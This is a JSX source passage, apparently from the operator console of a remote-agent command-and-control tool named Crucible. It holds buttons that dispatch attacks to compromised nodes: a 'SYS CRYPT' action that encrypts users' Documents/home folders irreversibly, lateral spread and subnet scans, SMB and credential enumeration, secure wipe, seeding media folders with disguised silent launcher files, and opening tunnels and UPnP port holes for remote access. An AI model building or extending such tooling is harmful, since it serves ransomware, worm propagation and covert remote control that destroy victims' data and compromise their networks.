||
{selectedCount > 1 && (
|
||
<p className="form-hint crucible-fm-hint">
|
||
Browsing {browseAgent.name} only — Encrypt applies to all {encryptTargets.length} online selection(s).
|
||
</p>
|
||
)}
|
||
<FileManager
|
||
agentId={browseAgent.id}
|
||
agentName={browseAgent.name}
|
||
platform={browseAgent.platform}
|
||
online={browseAgent.status === 'online'}
|
||
encryptTargets={encryptTargets}
|
||
commandResults={fmCommandResults}
|
||
onTerminalLine={onEcho}
|
||
/>
|
||
</CrucibleCollapsibleSection>
|
||
)}
|
||
|
||
<CrucibleCollapsibleSection label="Advanced File Operations" className="cop-fileops" helpField="crucible_section_files_advanced">
|
||
<div className="crucible-inline-row" style={{ width: '100%' }}>
|
||
<input className="crucible-inline-input" placeholder="delete_path" value={deletePath} onChange={(e) => setDeletePath(e.target.value)} />
|
||
<button
|
||
type="button"
|
||
className="button crucible-op-btn"
|
||
disabled={!deletePath.trim() || targets.length === 0}
|
||
onClick={() => {
|
||
if (!window.confirm(`Delete file ${deletePath} on ${targets.length} node(s)?`)) return;
|
||
bulkDispatch('delete_path', { path: deletePath.trim() });
|
||
}}
|
||
>
|
||
Delete File
|
||
</button>
|
||
</div>
|
||
<div className="crucible-inline-row" style={{ width: '100%' }}>
|
||
<input className="crucible-inline-input" placeholder="move src" value={moveSrc} onChange={(e) => setMoveSrc(e.target.value)} />
|
||
<input className="crucible-inline-input" placeholder="move dst" value={moveDst} onChange={(e) => setMoveDst(e.target.value)} />
|
||
<button type="button" className="button crucible-op-btn" disabled={!moveSrc.trim() || !moveDst.trim() || targets.length === 0} onClick={() => bulkDispatch('move_path', { path: moveSrc.trim(), data: moveDst.trim() })}>
|
||
Move
|
||
</button>
|
||
</div>
|
||
<div className="crucible-inline-row" style={{ width: '100%' }}>
|
||
<input className="crucible-inline-input" placeholder="secure_wipe folder path" value={wipePath} onChange={(e) => setWipePath(e.target.value)} />
|
||
<button
|
||
type="button"
|
||
className="button crucible-op-btn"
|
||
disabled={!wipePath.trim() || aggDisabled('secure_wipe')}
|
||
title={aggTitle('secure_wipe') || 'Overwrite files then delete folder'}
|
||
onClick={() => {
|
||
if (!window.confirm(`Secure-wipe folder ${wipePath} on ${targets.length} node(s)?`)) return;
|
||
bulkDispatch('secure_wipe', { path: wipePath.trim() });
|
||
}}
|
||
>
|
||
Secure Wipe
|
||
</button>
|
||
</div>
|
||
</CrucibleCollapsibleSection>
|
||
|
||
<CrucibleCollapsibleSection label="⚠ Destructive" className="cop-destructive" helpField="crucible_section_destructive">
|
||
<button
|
||
type="button"
|
||
className="button crucible-op-btn"
|
||
disabled={!hasSelection}
|
||
title="AES-256-GCM encrypt every file in Documents/home (requires Remote Aggressive Ops)"
|
||
style={{
|
||
background: 'linear-gradient(135deg, #7b0000 0%, #cc0000 100%)',
|
||
border: '1px solid #ff2222',
|
||
color: '#fff',
|
||
fontWeight: 700,
|
||
letterSpacing: '0.06em',
|
||
}}
|
||
onClick={() => {
|
||
if (!window.confirm(`SYS CRYPT — encrypt Documents/home on ${selectedCount} node(s)?\n\nThis is IRREVERSIBLE without the key. Proceed?`)) return;
|
||
targets.forEach((a) => api.sendAgentCommand(a.id, 'sys_crypt').catch((err) => onAgentError(a.id, a.name, 'sys_crypt', err)));
|
||
onEcho(`SYS CRYPT → dispatched to ${selectedCount} node(s) — encrypting Documents/home`, true);
|
||
}}
|
||
>
|
||
🔒 SYS CRYPT ({selectedCount})
|
||
</button>
|
||
</CrucibleCollapsibleSection>
|
||
</div>
|
||
);
|
||
}
|
||
|
||
if (activeTab === 'spread') {
|
||
return (
|
||
<div className={panelClass}>
|
||
<CrucibleCollapsibleSection label="Lateral Movement" className="cop-agg" helpField="crucible_section_spread" defaultOpen>
|
||
<span style={{ display: 'inline-flex', alignItems: 'center', gap: '2px' }}>
|
||
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('spread_now')} title={aggTitle('spread_now')} onClick={() => aggBulk('spread_now', {}, `Run lateral spread sweep on ${targets.length} node(s)?`)}>
|
||
Spread Now
|
||
</button>
|
||
<HelpTip field="crucible_btn_spread_now" />
|
||
</span>
|
||
<span style={{ display: 'inline-flex', alignItems: 'center', gap: '2px' }}>
|
||
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('subnet_scan')} title={aggTitle('subnet_scan')} onClick={() => aggBulk('subnet_scan', { command: '64' })}>
|
||
Subnet Scan
|
||
</button>
|
||
<HelpTip field="crucible_btn_subnet_scan" />
|
||
</span>
|
||
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('smb_shares') || winTargets.length === 0} title={aggTitle('smb_shares') || 'Enumerate \\\\host\\share on Windows LAN (JSON)'} onClick={() => aggBulk('smb_shares', {}, undefined, winTargets)}>
|
||
SMB Shares
|
||
</button>
|
||
<button type="button" className="button crucible-op-btn" disabled={!hasSelection || targets.length === 0} title="Last lateral spread sweep summary (JSON)" onClick={() => bulkDispatch('spread_status')}>
|
||
Spread Status
|
||
</button>
|
||
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('credential_vault_list')} title={aggTitle('credential_vault_list') || 'Credential vault names only (no secrets)'} onClick={() => aggBulk('credential_vault_list')}>
|
||
Credential Names
|
||
</button>
|
||
<button
|
||
type="button"
|
||
className="button crucible-op-btn btn-cyan"
|
||
disabled={!hasSelection || targets.length === 0}
|
||
title="Service discovery → server deploy plan → matching LOTL join lane"
|
||
onClick={() => bulkDispatch('discover_and_join')}
|
||
>
|
||
Probe & Join
|
||
</button>
|
||
</CrucibleCollapsibleSection>
|
||
|
||
<CrucibleCollapsibleSection label="Credential Graph" className="cop-spread-graph" helpField="crucible_section_cred_graph" defaultOpen>
|
||
<CredentialGraphTable />
|
||
</CrucibleCollapsibleSection>
|
||
|
||
<CrucibleCollapsibleSection label="Service Graph" className="cop-spread-graph" helpField="crucible_section_service_graph" defaultOpen={false}>
|
||
<ServiceGraphSummary
|
||
agentId={singleSelectedAgent?.id}
|
||
agentIp={singleSelectedAgent?.ip}
|
||
/>
|
||
</CrucibleCollapsibleSection>
|
||
|
||
<CrucibleCollapsibleSection label="Spread Templates" className="cop-spread-templates" helpField="crucible_section_spread_templates" defaultOpen={false}>
|
||
<SpreadTemplateExportPanel serverBase={typeof window !== 'undefined' ? window.location.origin : ''} />
|
||
</CrucibleCollapsibleSection>
|
||
|
||
<CrucibleCollapsibleSection label="◈ SUPP Seek Mode" className="cop-seek crucible-seek-group" helpField="crucible_section_seek">
|
||
<p className="crucible-seek-blurb">
|
||
Recursively seeds every media directory under the given path with silent launcher files.
|
||
</p>
|
||
<label className="seek-field-label">Root Path</label>
|
||
<input type="text" className="crucible-inline-input crucible-seek-input" placeholder="e.g. D:\ or /Volumes/Movies" value={seekPath} onChange={(e) => setSeekPath(e.target.value)} />
|
||
<label className="seek-field-label">Launcher Stem (file name)</label>
|
||
<input type="text" className="crucible-inline-input crucible-seek-input" placeholder="4K Enhance" value={seekStem} onChange={(e) => setSeekStem(e.target.value)} />
|
||
<div className="crucible-seek-platforms">
|
||
<label>
|
||
<input type="checkbox" checked={seekWin} onChange={(e) => setSeekWin(e.target.checked)} />
|
||
<span className="seek-win">⊞ Windows</span>
|
||
<span className="seek-hint">.bat + .exe</span>
|
||
</label>
|
||
<label>
|
||
<input type="checkbox" checked={seekMac} onChange={(e) => setSeekMac(e.target.checked)} />
|
||
<span className="seek-mac">⌘ Mac/Linux</span>
|
||
<span className="seek-hint">.command</span>
|
||
</label>
|
||
</div>
|
||
<button
|
||
type="button"
|
||
className="button crucible-op-btn crucible-seek-launch"
|
||
disabled={!hasSelection || (!seekWin && !seekMac)}
|
||
onClick={launchSeek}
|
||
title={!hasSelection ? 'Select at least one agent to seed from' : `Launch SUPP Seek on ${selectedCount} agent(s)`}
|
||
>
|
||
◈ LAUNCH SEEK ({selectedCount} node{selectedCount !== 1 ? 's' : ''})
|
||
</button>
|
||
</CrucibleCollapsibleSection>
|
||
</div>
|
||
);
|
||
}
|
||
|
||
if (activeTab === 'tunnels') {
|
||
return (
|
||
<div className={panelClass}>
|
||
<CrucibleCollapsibleSection label="SSH Access" className="cop-ssh" helpField="crucible_section_ssh" defaultOpen>
|
||
<button type="button" className="button crucible-op-btn" disabled={!hasSelection} onClick={onProbeSSH} title="Probe port 22 on selected nodes">
|
||
Probe SSH
|
||
</button>
|
||
<button type="button" className="button crucible-op-btn crucible-op-wake" disabled={!hasSelection} onClick={onWakeSSH} title="Install + start OpenSSH server on selected Windows nodes">
|
||
⚡ Wake SSH
|
||
</button>
|
||
<div className="crucible-ssh-notes">
|
||
<div className="crucible-ssh-step">
|
||
<span className="css-num">1</span>
|
||
<div><strong>Probe</strong> — test if port 22 is open on the target machine.</div>
|
||
</div>
|
||
<div className="crucible-ssh-step">
|
||
<span className="css-num">2</span>
|
||
<div><strong>Wake SSH (Windows)</strong> — installs OpenSSH Server, starts the service, marks it auto-start. Requires admin agent.</div>
|
||
</div>
|
||
<div className="crucible-ssh-step">
|
||
<span className="css-num">3</span>
|
||
<div><strong>Connect directly</strong> — on the same LAN, <code className="crucible-code">ssh user@<ip></code>. Node IP is on each roster card.</div>
|
||
</div>
|
||
<div className="crucible-ssh-step">
|
||
<span className="css-num">4</span>
|
||
<div><strong>Remote (via tunnel)</strong> — use Protocol Tunneling or <code className="crucible-code">tunnel_cloudflared</code> so the node dials out to your control URL.</div>
|
||
</div>
|
||
</div>
|
||
</CrucibleCollapsibleSection>
|
||
|
||
<CrucibleCollapsibleSection label="Tunnels & WAN IP" className="cop-network" helpField="crucible_section_tunnels" defaultOpen>
|
||
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('hole_punch_status')} title={aggTitle('hole_punch_status')} onClick={() => aggBulk('hole_punch_status')}>
|
||
WAN IP
|
||
</button>
|
||
<span style={{ display: 'inline-flex', alignItems: 'center', gap: '2px' }}>
|
||
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('hole_punch')} title={aggTitle('hole_punch') || "UPnP hole punch: map external port 8989"} onClick={() => aggBulk('hole_punch', { command: '8989', path: '8989' })}>
|
||
Hole Punch
|
||
</button>
|
||
<HelpTip field="crucible_btn_hole_punch" />
|
||
</span>
|
||
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('hole_punch_close')} title={aggTitle('hole_punch_close')} onClick={() => aggBulk('hole_punch_close', { command: '8989' })}>
|
||
Close UPnP
|
||
</button>
|
||
<div className="crucible-inline-row" style={{ width: '100%' }}>
|
||
<input className="crucible-inline-input" placeholder="Cloudflare target URL (optional)" value={tunnelURL} onChange={(e) => setTunnelURL(e.target.value)} />
|
||
<span style={{ display: 'inline-flex', alignItems: 'center', gap: '2px' }}>
|
||
<button
|
||
type="button"
|
||
className="button crucible-op-btn"
|
||
disabled={aggDisabled('tunnel_cloudflared')}
|
||
title={aggTitle('tunnel_cloudflared') || 'Open outbound Cloudflare tunnel'}
|
||
onClick={() => aggBulk('tunnel_cloudflared', { command: tunnelURL.trim() })}
|
||
>
|
||
Start Tunnel
|
||
</button>
|
||
<HelpTip field="crucible_btn_cf_tunnel" />
|
||
</span>
|
||
</div>
|
||
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('tunnel_stop')} title={aggTitle('tunnel_stop') || 'Stop all outbound tunnels'} onClick={() => aggBulk('tunnel_stop', { command: 'all' }, 'Stop all tunnels on selected nodes?')}>
|
||
Stop Tunnels
|
||
</button>
|
||
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('mesh_status')} title={aggTitle('mesh_status')} onClick={() => aggBulk('mesh_status')}>
|
||
Mesh Peers
|
||
</button>
|
||
</CrucibleCollapsibleSection>
|
||
|
||
{singleSelectedAgent && (
|
||
<CrucibleCollapsibleSection label="Protocol Tunneling" className="cop-ssh" helpField="crucible_section_protocol_tunnel" defaultOpen>
|
||
<ProtocolTunnelPanel
|
||
agentId={singleSelectedAgent.id}
|
||
agentName={singleSelectedAgent.name}
|
||
online={singleSelectedAgent.status === 'online'}
|
||
caps={singleSelectedAgent.capabilities}
|
||
platform={singleSelectedAgent.platform}
|
||
compact
|
||
lastTunnelStatusMessage={tunnelStatusMsg}
|
||
busy={null}
|
||
onDispatch={onDispatchTunnel}
|
||
/>
|
||
</CrucibleCollapsibleSection>
|
||
)}
|
||
|
||
<CrucibleCollapsibleSection label="Port-Forward Matrix" className="cop-ssh" helpField="crucible_section_portfwd">
|
||
<CruciblePortForwardMatrix selectedAgents={selectedAgents} onEcho={onEcho} onDispatch={(agent, action, args) => dispatchOne(agent, action, args)} />
|
||
</CrucibleCollapsibleSection>
|
||
</div>
|
||
);
|
||
}
|
||
|
||
return null;
|
||
}
|